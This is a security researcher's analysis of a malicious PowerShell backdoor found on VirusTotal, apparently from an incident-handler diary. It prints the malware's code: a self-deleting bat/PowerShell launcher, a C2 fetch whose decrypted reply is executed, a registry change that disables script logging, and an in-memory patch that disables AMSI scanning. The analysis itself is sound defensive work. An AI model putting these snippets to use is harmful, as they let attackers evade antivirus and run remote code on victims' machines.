Live Patching Windows API Calls Using PowerShell
It's amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: "to make it NOT work"). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.
The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it's a "bat" command line script and a PowerShell script at the same time:
# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B
The environment variable '%~f0' will expand to the complete path of the script (ex: "C:\Temp\malicious.bat"). It is passed to PowerShell which will ignore the first line (starting with the '#'). The script will be deleted once PowerShell completed. Note, '%~dp0' will expand to the drive letter and path of that batch file.
The script itself is obfuscated inside a Base64-encoded string. First, it's a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:
It requires a specific User-Agent:
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $eBdd.HEadeRS.ADd('User-Agent',$u);
It tries to connect through the proxy configured in the system:
$EBdD.Proxy=[SYsTeM.NEt.WEBREqUeSt]::DeFAULtWEbProxY; $ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;
A cookie is required:
$eBdd.HeAdErs.Add("Cookie","session=i9jI6+TRpy75U2v68M56EtGXOWE=");
The C2 address is obfuscated:
$ser=$([TEXT.EncoDing]::UNicODe.GEtSTrInG([ConvERT]::FRoMBAsE64STriNG('aAB0AHQAcAA6AC8ALwAzAC4AMQAyADgALgAxADAANwAuADcANAA6ADEANQA0ADMAMAA='))); $t='/admin/get.php'; $daTa=$eBdD.DoWnLoadDaTA($seR+$T);
The C2 server is hxxp://3.128.107.74:15430/admin/get.php.
Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)
$K=[SysteM.TExt.EncOdiNG]::ASCII.GeTBytEs('827ccb0eea8a706c4c34a16891f84e7b'); $R={ $D,$K=$ARgS;$S=0..255;0..255|%{ $J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256; $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I]; $_-bXOr$S[($S[$I]+$S[$H])%256] } }; $Iv=$daTa[0..3]; $DAtA=$data[4..$DAtA.lenGtH]; -JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX
But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.
First, it tries to disable ScriptBlockLogging[2]:
$vaL=[CollECtionS.GEnErIC.DiCTIONarY[StrING,SysteM.ObjEct]]::nEW(); $Val.AdD('EnableScriptB'+'lockLogging',0); $VAl.AdD('EnableScriptBlockInvocationLogging',0); $b399['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL
Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:
$MethodDefinition = " [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress().
Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or 'PAGE_EXECUTE_READWRITE')
Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.
This suite of bytes is the following code:
0x0000000000000000: B8 57 00 07 80 mov eax, 0x80070057 0x0000000000000005: C3 ret
The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is 'E_INVALIDARG'. Then, the function immediately returns to the caller with the 'ret' instruction. This technique implements the bypass of the antivirus scan...
As I said, this technique is not new and has already been discussed previously (around 2019) but it's interesting to see how attackers re-use always and always good old techniques.
The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?
$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php * Trying 3[.]128[.]107[.]74... * TCP_NODELAY set * Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0) > GET /admin/get.php HTTP/1.1 > Host: 3[.]128[.]107[.]74:15430 > User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko > Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1 > Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* > Accept-Language: en-us > Connection: Keep-Alive > Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE= > SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6 Protocol mismatch. * Closing connection 0
[1] https://www.virustotal.com/gui/file/b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54/detection
[2] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments